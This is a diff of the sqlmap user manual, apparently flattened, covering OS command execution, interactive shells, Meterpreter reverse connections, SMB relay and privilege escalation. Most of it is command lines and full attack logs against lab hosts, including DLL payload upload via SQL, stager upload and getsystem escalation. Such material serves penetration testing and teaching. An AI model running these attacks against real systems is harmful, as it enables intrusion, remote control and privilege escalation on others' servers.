    -Example on a PostgreSQL 8.3.5 target: +Example against a PostgreSQL target: -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.aspx?id=1" \ - --os-cmd "whoami" -v 1 +$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \ + --os-cmd id -v 1 [...] -[hh:mm:05] [INFO] the back-end DBMS is PostgreSQL -web server operating system: Windows 2003 or 2008 -web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 +web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: PostgreSQL +[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system +[hh:mm:12] [INFO] the back-end DBMS operating system is Linux +[hh:mm:12] [INFO] testing if current user is DBA +[hh:mm:12] [INFO] detecting back-end DBMS version from its banner +[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist +[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist +[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file +[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file +do you want to retrieve the command standard output? [Y/n/a] y +command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)' -[hh:mm:05] [INFO] testing stacked queries support on parameter 'id' -[hh:mm:05] [INFO] detecting back-end DBMS version from its banner -[hh:mm:05] [INFO] retrieved: 8.3.5, -[hh:mm:15] [INFO] the web application supports stacked queries on parameter 'id' -[hh:mm:15] [INFO] fingerprinting the back-end DBMS operating system -[hh:mm:15] [INFO] retrieved: 1 -[hh:mm:16] [INFO] the back-end DBMS operating system is Windows -[hh:mm:16] [INFO] testing if current user is DBA -[hh:mm:16] [INFO] retrieved: 1 -[hh:mm:16] [INFO] checking if sys_exec UDF already exist -[hh:mm:16] [INFO] retrieved: 0 -[hh:mm:18] [INFO] checking if sys_eval UDF already exist -[hh:mm:18] [INFO] retrieved: 0 -[hh:mm:20] [INFO] creating sys_exec UDF from the binary UDF file -[hh:mm:20] [INFO] creating sys_eval UDF from the binary UDF file -do you want to retrieve the command standard output? [Y/n] -[hh:mm:35] [INFO] retrieved: w2k3dev\postgres -command standard output: 'w2k3dev\postgres' - - -

    -Example on a Microsoft SQL Server 2005 Service Pack 0 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \ - --os-cmd "whoami" --union-use -v 1 - -[...] -[hh:mm:58] [INFO] the back-end DBMS is Microsoft SQL Server -web server operating system: Windows 2000 -web application technology: ASP.NET, Microsoft IIS 6.0, ASP -back-end DBMS: Microsoft SQL Server 2005 - -[hh:mm:58] [INFO] testing inband sql injection on parameter 'name' with NULL bruteforcing -technique -[hh:mm:58] [INFO] confirming full inband sql injection on parameter 'name' -[hh:mm:58] [WARNING] the target url is not affected by an exploitable full inband sql -injection vulnerability -[hh:mm:58] [INFO] confirming partial (single entry) inband sql injection on parameter 'name' -by appending a false condition after the parameter value -[hh:mm:58] [INFO] the target url is affected by an exploitable partial (single entry) inband -sql injection vulnerability -valid union: 'http://192.168.136.131/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION -ALL SELECT NULL, NULL, NULL-- AND 'SonLv'='SonLv' - -[hh:mm:58] [INFO] testing stacked queries support on parameter 'name' -[hh:mm:03] [INFO] the web application supports stacked queries on parameter 'name' -[hh:mm:03] [INFO] testing if current user is DBA -[hh:mm:03] [INFO] checking if xp_cmdshell extended procedure is available, wait.. -[hh:mm:09] [INFO] xp_cmdshell extended procedure is available -do you want to retrieve the command standard output? [Y/n] -[hh:mm:11] [INFO] the SQL query provided returns 1 entries -command standard output: ---- -nt authority\network service ---- +[hh:mm:19] [INFO] cleaning up the database management system +do you want to remove UDF 'sys_eval'? [Y/n] y +do you want to remove UDF 'sys_exec'? [Y/n] y +[hh:mm:23] [INFO] database management system cleanup finished +[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can +only be deleted manually

    It is also possible to simulate a real shell where you can type as many arbitrary commands as you wish. The option is --os-shell and has -the same TAB completion and history functionalities like ---sql-shell. +the same TAB completion and history functionalities that +--sql-shell has.

    -Example on a MySQL 5.0.67 target: +Where stacked queries has not been identified on the web application +(e.g. PHP or ASP with back-end database management system being MySQL) and +the DBMS is MySQL, it is still possible to abuse the SELECT +clause's INTO OUTFILE to create a web backdoor in a writable +folder within the web server document root and still get command +execution assuming the back-end DBMS and the web server are hosted on the +same server. +sqlmap supports this technique and allows the user to provide a +comma-separated list of possible document root sub-folders where try to +upload the web file stager and the subsequent web backdoor. Also, sqlmap +has its own tested web file stagers and backdoors for the following +languages: - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.aspx?id=1" \ - --os-shell -v 2 + +ASP +ASP.NET +JSP +PHP + -[...] -[hh:mm:36] [INFO] the back-end DBMS is MySQL -web server operating system: Windows 2003 or 2008 -web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 -back-end DBMS: MySQL >= 5.0.0 -[hh:mm:36] [INFO] testing stacked queries support on parameter 'id' -[hh:mm:36] [INFO] detecting back-end DBMS version from its banner -[hh:mm:36] [DEBUG] query: IFNULL(CAST(MID((VERSION()), 1, 6) AS CHAR(10000)), CHAR(32)) -[hh:mm:36] [INFO] retrieved: 5.0.67 -[hh:mm:37] [DEBUG] performed 49 queries in 1 seconds -[hh:mm:37] [DEBUG] query: SELECT SLEEP(5) -[hh:mm:42] [INFO] the web application supports stacked queries on parameter 'id' -[hh:mm:42] [INFO] fingerprinting the back-end DBMS operating system -[hh:mm:42] [DEBUG] query: DROP TABLE sqlmapfile -[hh:mm:42] [DEBUG] query: CREATE TABLE sqlmapfile(data text) -[hh:mm:42] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION()) -[hh:mm:42] [DEBUG] query: SELECT IFNULL(CAST(MID(@@datadir, 1, 1) AS CHAR(10000)), CHAR(32)) -[hh:mm:42] [INFO] retrieved: C -[hh:mm:42] [DEBUG] performed 14 queries in 0 seconds -[hh:mm:42] [INFO] the back-end DBMS operating system is Windows -[hh:mm:42] [DEBUG] cleaning up the database management system -[hh:mm:42] [DEBUG] removing support tables -[hh:mm:42] [DEBUG] query: DROP TABLE sqlmapfile -[hh:mm:42] [INFO] testing if current user is DBA -[hh:mm:42] [DEBUG] query: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user= -(SUBSTRING_INDEX(CURRENT_USER(), CHAR(64), 1)) LIMIT 0, 1)=CHAR(89)) THEN 1 ELSE 0 END) -[hh:mm:42] [INFO] retrieved: 1 -[hh:mm:43] [DEBUG] performed 5 queries in 0 seconds -[hh:mm:43] [INFO] checking if sys_exec UDF already exist -[hh:mm:43] [DEBUG] query: SELECT (CASE WHEN ((SELECT name FROM mysql.func WHERE name= -CHAR(115,121,115,95,101,120,101,99) LIMIT 0, 1)=CHAR(115,121,115,95,101,120,101,99)) -THEN 1 ELSE 0 END) -[hh:mm:43] [INFO] retrieved: 0 -[hh:mm:43] [DEBUG] performed 14 queries in 0 seconds -[hh:mm:43] [INFO] checking if sys_eval UDF already exist -[hh:mm:43] [DEBUG] query: SELECT (CASE WHEN ((SELECT name FROM mysql.func WHERE name= -CHAR(115,121,115,95,101,118,97,108) LIMIT 0, 1)=CHAR(115,121,115,95,101,118,97,108)) -THEN 1 ELSE 0 END) -[hh:mm:43] [INFO] retrieved: 0 -[hh:mm:43] [DEBUG] performed 14 queries in 0 seconds -[hh:mm:43] [DEBUG] going to upload the binary file with stacked query SQL injection technique -[hh:mm:43] [DEBUG] creating a support table to write the hexadecimal encoded file to -[hh:mm:43] [DEBUG] query: DROP TABLE sqlmapfile -[hh:mm:43] [DEBUG] query: CREATE TABLE sqlmapfile(data longblob) -[hh:mm:43] [DEBUG] encoding file to its hexadecimal string value -[hh:mm:43] [DEBUG] forging SQL statements to write the hexadecimal encoded file to the -support table -[hh:mm:43] [DEBUG] inserting the hexadecimal encoded file to the support table -[hh:mm:43] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (0x4d5a90 [...]) -[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x000000 [...]) -[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0xffcbff [...]) -[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x490068 [...]) -[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x1c5485 [...]) -[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x14cc63 [...]) -[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x207665 [...]) -[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x5c5379 [...]) -[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x0e5bc2 [...]) -[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x505357 [...]) -[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x000000 [...]) -[hh:mm:44] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x696372 [...]) -[hh:mm:44] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0xdd8400 [...]) -[hh:mm:44] [DEBUG] exporting the binary file content to file './libsqlmapudftxxgk.dll' -[hh:mm:44] [DEBUG] query: SELECT data FROM sqlmapfile INTO DUMPFILE './libsqlmapudftxxgk.dll' -[hh:mm:44] [DEBUG] cleaning up the database management system -[hh:mm:44] [DEBUG] removing support tables -[hh:mm:44] [DEBUG] query: DROP TABLE sqlmapfile -[hh:mm:44] [INFO] creating sys_exec UDF from the binary UDF file -[hh:mm:44] [DEBUG] query: DROP FUNCTION sys_exec -[hh:mm:44] [DEBUG] query: CREATE FUNCTION sys_exec RETURNS int SONAME 'libsqlmapudftxxgk.dll' -[hh:mm:44] [INFO] creating sys_eval UDF from the binary UDF file -[hh:mm:44] [DEBUG] query: DROP FUNCTION sys_eval -[hh:mm:44] [DEBUG] query: CREATE FUNCTION sys_eval RETURNS string SONAME -'libsqlmapudftxxgk.dll' -[hh:mm:44] [DEBUG] creating a support table to write commands standard output to -[hh:mm:44] [DEBUG] query: DROP TABLE sqlmapoutput -[hh:mm:44] [DEBUG] query: CREATE TABLE sqlmapoutput(data longtext) -[hh:mm:44] [INFO] going to use injected sys_eval and sys_exec user-defined functions for -operating system command execution -[hh:mm:44] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER -os-shell> whoami -do you want to retrieve the command standard output? [Y/n] -[hh:mm:41] [DEBUG] query: INSERT INTO sqlmapoutput(data) VALUES (sys_eval('whoami')) -[hh:mm:41] [DEBUG] query: SELECT IFNULL(CAST(data AS CHAR(10000)), CHAR(32)) FROM -sqlmapoutput -[hh:mm:41] [INFO] retrieved: nt authority\system -[hh:mm:44] [DEBUG] performed 140 queries in 2 seconds -[hh:mm:44] [DEBUG] query: DELETE FROM sqlmapoutput -command standard output: 'nt authority\system' - -os-shell> [TAB TAB] -copy del dir echo md mem move -net netstat -na ver whoami xcopy - -os-shell> exit -[hh:mm:51] [INFO] cleaning up the database management system -[hh:mm:51] [DEBUG] removing support tables -[hh:mm:51] [DEBUG] query: DROP TABLE sqlmapfile -[hh:mm:51] [DEBUG] query: DROP TABLE sqlmapoutput -do you want to remove sys_exec UDF? [Y/n] n -do you want to remove sys_eval UDF? [Y/n] n -[hh:mm:04] [INFO] database management system cleanup finished -[hh:mm:04] [WARNING] remember that UDF dynamic-link library files saved on the file system -can only be deleted manually - +Out-of-band stateful connection: Meterpreter & friends

    -Now run it again, but specifying the --union-use to retrieve the -command standard output quicker, via UNION based SQL injection, when the -parameter is affected also by inband SQL injection vulnerability: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.aspx?id=1" \ - --os-shell -v 2 --union-use - -[...] -[hh:mm:16] [INFO] the back-end DBMS is MySQL -web server operating system: Windows 2003 or 2008 -web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 -back-end DBMS: MySQL >= 5.0.0 - -[hh:mm:16] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing -technique -[hh:mm:16] [INFO] confirming full inband sql injection on parameter 'id' -[hh:mm:16] [INFO] the target url is affected by an exploitable full inband sql injection -vulnerability -valid union: 'http://192.168.136.131/sqlmap/mysql/iis/get_int.aspx?id=1 UNION ALL SELECT -NULL, NULL, NULL# AND 528=528' - -[hh:mm:16] [INFO] testing stacked queries support on parameter 'id' -[hh:mm:16] [INFO] detecting back-end DBMS version from its banner -[hh:mm:16] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77), -MID((VERSION()), 1, 6),CHAR(117,114,115,75,117,102)), NULL# AND 3173=3173 -[hh:mm:16] [DEBUG] performed 1 queries in 0 seconds -[hh:mm:16] [DEBUG] query: SELECT SLEEP(5) -[hh:mm:21] [INFO] the web application supports stacked queries on parameter 'id' -[hh:mm:21] [INFO] fingerprinting the back-end DBMS operating system -[hh:mm:21] [DEBUG] query: DROP TABLE sqlmapfile -[hh:mm:21] [DEBUG] query: CREATE TABLE sqlmapfile(data text) -[hh:mm:21] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION()) -[hh:mm:21] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77), -MID(@@datadir, 1, 1),CHAR(117,114,115,75,117,102)), NULL# AND 6574=6574 -[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds -[hh:mm:21] [INFO] the back-end DBMS operating system is Windows -[hh:mm:21] [DEBUG] cleaning up the database management system -[hh:mm:21] [DEBUG] removing support tables -[hh:mm:21] [DEBUG] query: DROP TABLE sqlmapfile -[hh:mm:21] [INFO] testing if current user is DBA -[hh:mm:21] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE -WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), CHAR(64), -1)) LIMIT 0, 1)=CHAR(89)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL# AND 19=19 -[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds -[hh:mm:21] [INFO] checking if sys_exec UDF already exist -[hh:mm:21] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE WHEN -((SELECT name FROM mysql.func WHERE name=CHAR(115,121,115,95,101,120,101,99) LIMIT 0, 1)= -CHAR(115,121,115,95,101,120,101,99)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL# -AND 4900=4900 -[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds -sys_exec UDF already exists, do you want to overwrite it? [y/N] n -[hh:mm:24] [INFO] checking if sys_eval UDF already exist -[hh:mm:24] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE WHEN -((SELECT name FROM mysql.func WHERE name=CHAR(115,121,115,95,101,118,97,108) LIMIT 0, 1)= -CHAR(115,121,115,95,101,118,97,108)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL# -AND 4437=4437 -[hh:mm:24] [DEBUG] performed 1 queries in 0 seconds -sys_eval UDF already exists, do you want to overwrite it? [y/N] n -[hh:mm:25] [DEBUG] keeping existing sys_exec UDF as requested -[hh:mm:25] [DEBUG] keeping existing sys_eval UDF as requested -[hh:mm:25] [DEBUG] creating a support table to write commands standard output to -[hh:mm:25] [DEBUG] query: DROP TABLE sqlmapoutput -[hh:mm:25] [DEBUG] query: CREATE TABLE sqlmapoutput(data longtext) -[hh:mm:25] [INFO] going to use injected sys_eval and sys_exec user-defined functions for -operating system command execution -[hh:mm:25] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER -os-shell> ipconfig -do you want to retrieve the command standard output? [Y/n] -[hh:mm:29] [DEBUG] query: INSERT INTO sqlmapoutput(data) VALUES (sys_eval('ipconfig')) -[hh:mm:29] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),IFNULL(CAST -(data AS CHAR(10000)), CHAR(32)),CHAR(117,114,115,75,117,102)), NULL FROM sqlmapoutput# AND -7106=7106 -[hh:mm:29] [DEBUG] performed 1 queries in 0 seconds -[hh:mm:29] [DEBUG] query: DELETE FROM sqlmapoutput -command standard output: ---- - -Windows IP Configuration - - -Ethernet adapter Local Area Connection 2: - - Connection-specific DNS Suffix . : localdomain - IP Address. . . . . . . . . . . . : 192.168.136.131 - Subnet Mask . . . . . . . . . . . : 255.255.255.0 ----Default Gateway . . . . . . . . . : 192.168.136.1 - -os-shell> exit -[hh:mm:41] [INFO] cleaning up the database management system -[hh:mm:41] [DEBUG] removing support tables -[hh:mm:41] [DEBUG] query: DROP TABLE sqlmapfile -[hh:mm:41] [DEBUG] query: DROP TABLE sqlmapoutput -do you want to remove sys_exec UDF? [Y/n] n -do you want to remove sys_eval UDF? [Y/n] n -[hh:mm:54] [INFO] database management system cleanup finished -[hh:mm:54] [WARNING] remember that UDF dynamic-link library files saved on the file system -can only be deleted manually - - -

    -As you can see from this second example, sqlmap firstly check if the two -user-defined functions are already created, if so, it asks the user if he -wants to recreate them or keep them and save time. - - -Prompt for an out-of-band shell, Meterpreter or VNC - -

    -Switches: --os-pwn, --priv-esc, --msf-path and --tmp-path +Switches: --os-pwn, --os-smbrelay, +--os-bof, --priv-esc, +--msf-path and --tmp-path

    It is possible to establish an out-of-band stateful TCP connection -between the user machine and the database server underlying operating -system. This channel can be an interactive command prompt, a Meterpreter -session or a graphical user interface (VNC) session as per user's choice. +between the attacker machine and the database server underlying +operating system when the back-end database management system is either +MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the +needed privileges to abuse database specific functionalities and +architectural weaknesses. +This channel can be an interactive command prompt, a Meterpreter session +or a graphical user interface (VNC) session as per user's choice. + +

    sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are: Database in-memory execution of the Metasploit's shellcode via sqlmap own user-defined function sys_bineval(). Supported on -MySQL and PostgreSQL. +MySQL and PostgreSQL - switch --os-pwn. Upload and execution of a Metasploit's stand-alone payload stager via sqlmap own user-defined function sys_exec() on MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL -Server. +Server - switch --os-pwn. Execution of Metasploit's shellcode by performing a SMB reflection attack () with a UNC path request from the database server to -the user's machine where the Metasploit smb_relay server exploit -runs. +the attacker's machine where the Metasploit smb_relay server +exploit listens. Supported when running sqlmap with high privileges +(uid=0) on Linux/Unix and the target DBMS runs as Administrator +on Windows - switch --os-smbrelay. Database in-memory execution of the Metasploit's shellcode by exploiting Microsoft SQL Server 2000 and 2005 sp_replwritetovarbin stored procedure heap-based buffer overflow () with automatic DEP bypass. +name="MS09-004">). sqlmap has its own exploit to trigger the +vulnerability with automatic DEP memory protection bypass, but it relies +on Metasploit to generate the shellcode to get executed upon successful +exploitation - switch --os-bof. -

    -Note that this feature is not supported by sqlmap running on Windows -because it relies on Metasploit's msfcli which is not -available for Windows. -

    These techniques are detailed in the white paper - and in the slide deck .

    -Example on a MySQL 5.1 target: +Example against a MySQL target: $ python sqlmap.py -u "http://192.168.136.128/sqlmap/mysql/get_int_51.aspx?id=1" \ - --os-pwn -v 1 --msf-path /home/inquis/software/metasploit + --os-pwn -v 1 --msf-path /tmp/metasploit [...] -web server operating system: Windows 2003 or 2008 -web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 -back-end DBMS: MySQL >= 5.0.0 - -[hh:mm:09] [INFO] testing stacked queries support on parameter 'id' -[hh:mm:09] [INFO] detecting back-end DBMS version from its banner -[hh:mm:09] [INFO] retrieved: 5.1.30 -[hh:mm:18] [INFO] the web application supports stacked queries on parameter 'id' -[hh:mm:18] [INFO] fingerprinting the back-end DBMS operating system -[hh:mm:18] [INFO] retrieved: C -[hh:mm:19] [INFO] the back-end DBMS operating system is Windows -[hh:mm:19] [INFO] testing if current user is DBA -[hh:mm:19] [INFO] retrieved: 1 -[hh:mm:20] [INFO] checking if UDF 'sys_bineval' already exist -[hh:mm:20] [INFO] retrieved: 0 -[hh:mm:21] [INFO] checking if UDF 'sys_exec' already exist -[hh:mm:21] [INFO] retrieved: 0 -[hh:mm:21] [INFO] retrieving MySQL base directory absolute path -[hh:mm:21] [INFO] retrieved: C:\Program Files\MySQL\MySQL Server 5.1\ -[hh:mm:46] [WARNING] this will only work if the database administrator created manually -the 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin' subfolder -[hh:mm:47] [INFO] creating UDF 'sys_bineval' from the binary UDF file -[hh:mm:47] [INFO] creating UDF 'sys_exec' from the binary UDF file -how do you want to execute the Metasploit shellcode on the back-end database underlying -operating system? -[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default) -[2] Stand-alone payload stager (file system way) -> 1 -[hh:mm:51] [INFO] creating Metasploit Framework 3 multi-stage shellcode -which connection type do you want to use? -[1] Reverse TCP: Connect back from the database host to this machine (default) -[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports -between the specified and 65535 -[3] Bind TCP: Listen on the database host for a connection -> 1 -which is the local address? [192.168.136.1] -which local port number do you want to use? [47776] -which payload do you want to use? -[1] Meterpreter (default) -[2] Shell -[3] VNC -> 1 -[hh:mm:55] [INFO] creation in progress .............................................. done -[hh:mm:41] [INFO] running Metasploit Framework 3 command line interface locally, wait.. -[*] Please wait while we load the module tree... -[*] Started reverse handler on 192.168.136.1:47776 -[*] Starting the payload handler... -[hh:mm:22] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval', wait.. -[*] Sending stage (748032 bytes) -[*] Meterpreter session 1 opened (192.168.136.1:47776 -> 192.168.136.128:2176) - -meterpreter > Loading extension espia...success. -meterpreter > Loading extension incognito...success. -meterpreter > Loading extension priv...success. -meterpreter > Loading extension sniffer...success. -meterpreter > Computer: W2K3DEV -OS : Windows .NET Server (Build 3790, Service Pack 2). -Arch : x86 -Language: en_US -meterpreter > Server username: NT AUTHORITY\SYSTEM -meterpreter > ipconfig - -MS TCP Loopback interface -Hardware MAC: 00:00:00:00:00:00 -IP Address : 127.0.0.1 -Netmask : 255.0.0.0 - - - -VMware Accelerated AMD PCNet Adapter #2 -Hardware MAC: 00:0c:29:86:69:1b -IP Address : 192.168.136.128 -Netmask : 255.255.255.0 - - -meterpreter > exit - -[hh:mm:52] [INFO] cleaning up the database management system -do you want to remove UDF 'sys_bineval'? [Y/n] -do you want to remove UDF 'sys_exec'? [Y/n] -[hh:mm:54] [INFO] database management system cleanup finished -[hh:mm:54] [WARNING] remember that UDF dynamic-link library files and Metasploit related -files in the temporary folder saved on the file system can only be deleted manually +TODO

    @@ -4585,408 +2560,24 @@ Microsoft SQL Server 2000 by default runs as SYSTEM, whereas Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK SERVICE and sometimes as LOCAL SERVICE. +

    It is possible to provide sqlmap with the --priv-esc -option to perform a database process' user privilege escalation +switch to perform a database process' user privilege escalation via Metasploit's getsystem command which include, among others, the technique () or via by using Meterpreter's - extension. - -

    -Example on a Microsoft SQL Server 2005 Service Pack 0 running as -NETWORK SERVICE on the target: - - -$ python sqlmap.py -u "http://192.168.136.128/sqlmap/mssql/iis/get_int.asp?id=1" \ - --os-pwn -v 1 --msf-path /home/inquis/software/metasploit --priv-esc - -[...] -web server operating system: Windows 2000 -web application technology: ASP.NET, Microsoft IIS 6.0, ASP -back-end DBMS: Microsoft SQL Server 2005 - -[hh:mm:47] [INFO] testing stacked queries support on parameter 'id' -[hh:mm:52] [INFO] the web application supports stacked queries on parameter 'id' -[hh:mm:52] [INFO] testing if current user is DBA -[hh:mm:52] [INFO] retrieved: 1 -[hh:mm:52] [INFO] checking if xp_cmdshell extended procedure is available, wait.. -[hh:mm:01] [INFO] xp_cmdshell extended procedure is available -[hh:mm:01] [INFO] creating Metasploit Framework 3 payload stager -which connection type do you want to use? -[1] Reverse TCP: Connect back from the database host to this machine (default) -[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports -between the specified and 65535 -[3] Bind TCP: Listen on the database host for a connection -> 1 -which is the local address? [192.168.136.1] -which local port number do you want to use? [44780] -[hh:mm:52] [INFO] forcing Metasploit payload to Meterpreter because it is the only payload -that can be used to escalate privileges, either via 'incognito' extension or via -'getsystem' command -which payload encoding do you want to use? -[1] No Encoder -[2] Alpha2 Alphanumeric Mixedcase Encoder -[3] Alpha2 Alphanumeric Uppercase Encoder -[4] Avoid UTF8/tolower -[5] Call+4 Dword XOR Encoder -[6] Single-byte XOR Countdown Encoder -[7] Variable-length Fnstenv/mov Dword XOR Encoder -[8] Polymorphic Jump/Call XOR Additive Feedback Encoder -[9] Non-Alpha Encoder -[10] Non-Upper Encoder -[11] Polymorphic XOR Additive Feedback Encoder (default) -[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder -[13] Alpha2 Alphanumeric Unicode Uppercase Encoder -> -[hh:mm:53] [INFO] creation in progress ..... done -[hh:mm:58] [INFO] compression in progress . done -[hh:mm:59] [INFO] uploading payload stager to 'C:/WINDOWS/Temp/tmpmqyws.exe' -[hh:mm:05] [INFO] running Metasploit Framework 3 command line interface locally, wait.. -[*] Please wait while we load the module tree... -[*] Started reverse handler on 192.168.136.1:44780 -[*] Starting the payload handler... -[hh:mm:31] [INFO] running Metasploit Framework 3 payload stager remotely, wait.. -[*] Sending stage (748032 bytes) -[*] Meterpreter session 1 opened (192.168.136.1:44780 -> 192.168.136.128:2185) - -meterpreter > -[hh:mm:34] [INFO] trying to escalate privileges using Meterpreter 'getsystem' command which -tries different techniques, including kitrap0d -[hh:mm:34] [INFO] displaying the list of Access Tokens availables. Choose which user you -want to impersonate by using incognito's command 'impersonate_token' if 'getsystem' did not -success to elevate privileges -Loading extension espia...success. -meterpreter > Loading extension incognito...success. -meterpreter > Loading extension priv...success. -meterpreter > Loading extension sniffer...success. -meterpreter > Computer: W2K3DEV -OS : Windows .NET Server (Build 3790, Service Pack 2). -Arch : x86 -Language: en_US -meterpreter > Server username: NT AUTHORITY\NETWORK SERVICE -meterpreter > ...got system (via technique 4). -meterpreter > -Delegation Tokens Available -======================================== -NT AUTHORITY\LOCAL SERVICE -NT AUTHORITY\NETWORK SERVICE -NT AUTHORITY\SYSTEM -W2K3DEV\Administrator -W2K3DEV\IUSR_W2K3STENSP0 -W2K3DEV\postgres - -Impersonation Tokens Available -======================================== -NT AUTHORITY\ANONYMOUS LOGON - -meterpreter > Server username: NT AUTHORITY\SYSTEM -meterpreter > ipconfig - -MS TCP Loopback interface -Hardware MAC: 00:00:00:00:00:00 -IP Address : 127.0.0.1 -Netmask : 255.0.0.0 - - - -VMware Accelerated AMD PCNet Adapter #2 -Hardware MAC: 00:0c:29:86:69:1b -IP Address : 192.168.136.128 -Netmask : 255.255.255.0 - - -meterpreter > getuid -Server username: NT AUTHORITY\SYSTEM -meterpreter > exit - -[hh:mm:52] [INFO] cleaning up the database management system - - - -One click prompt for an out-of-band shell, meterpreter or VNC - -

    -Switches: --os-smbrelay, --priv-esc and --msf-path - -

    -If the back-end database management system runs on Windows as -Administrator and the system is not patched against Microsoft -Security Bulletin , sqlmap can abuse the universal naming convention (UNC) -feature within any database management system to force the database server -to initiate a SMB connection with the attacker host, then perform a SMB -authentication relay attack in order to establish a high-privileged -out-of-band TCP stateful channel between the attacker host and -the target database server. -sqlmap relies on 's SMB relay exploit to perform this attack. -You need to run sqlmap as a privileged user (e.g. root) if you -want to perform a SMB relay attack because it will need to listen on a -user-specified SMB TCP port for incoming connection attempts. - -

    -Note that this feature is not supported by sqlmap running on Windows -platform because it relies on Metasploit's msfpayload which is -not fully working on Windows. - -

    -This technique is detailed in the white paper -. - -

    -Example on a Microsoft SQL Server 2005 Service Pack 0 running as -Administrator on the target: - - -$ sudo python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \ - --os-smbrelay -v 1 --msf-path /home/inquis/software/metasploit - -[...] -[hh:mm:11] [INFO] the back-end DBMS is Microsoft SQL Server -web server operating system: Windows 2000 -web application technology: ASP.NET, Microsoft IIS 6.0, ASP -back-end DBMS: Microsoft SQL Server 2005 - -[hh:mm:11] [INFO] testing stacked queries support on parameter 'name' -[hh:mm:16] [INFO] the web application supports stacked queries on parameter 'name' -[hh:mm:16] [WARNING] it is unlikely that this attack will be successful because often -Microsoft SQL Server 2005 runs as Network Service which is not a real user, it does not -send the NTLM session hash when connecting to a SMB service -[hh:mm:16] [INFO] which connection type do you want to use? -[1] Bind TCP (default) -[2] Bind TCP (No NX) -[3] Reverse TCP -[4] Reverse TCP (No NX) -> 1 -[hh:mm:16] [INFO] which is the local address? [192.168.136.161] 192.168.136.161 -[hh:mm:16] [INFO] which is the back-end DBMS address? [192.168.136.131] 192.168.136.131 -[hh:mm:16] [INFO] which remote port numer do you want to use? [4907] 4907 -[hh:mm:16] [INFO] which payload do you want to use? -[1] Meterpreter (default) -[2] Shell -[3] VNC -> 1 -[hh:mm:16] [INFO] which SMB port do you want to use? -[1] 139/TCP (default) -[2] 445/TCP -> 1 -[hh:mm:16] [INFO] running Metasploit Framework 3 console locally, wait.. - - _ _ _ _ - | | | | (_) | - _ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_ -| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __| -| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_ -|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__| - | | - |_| - - - =[ msf v3.3-dev -+ -- 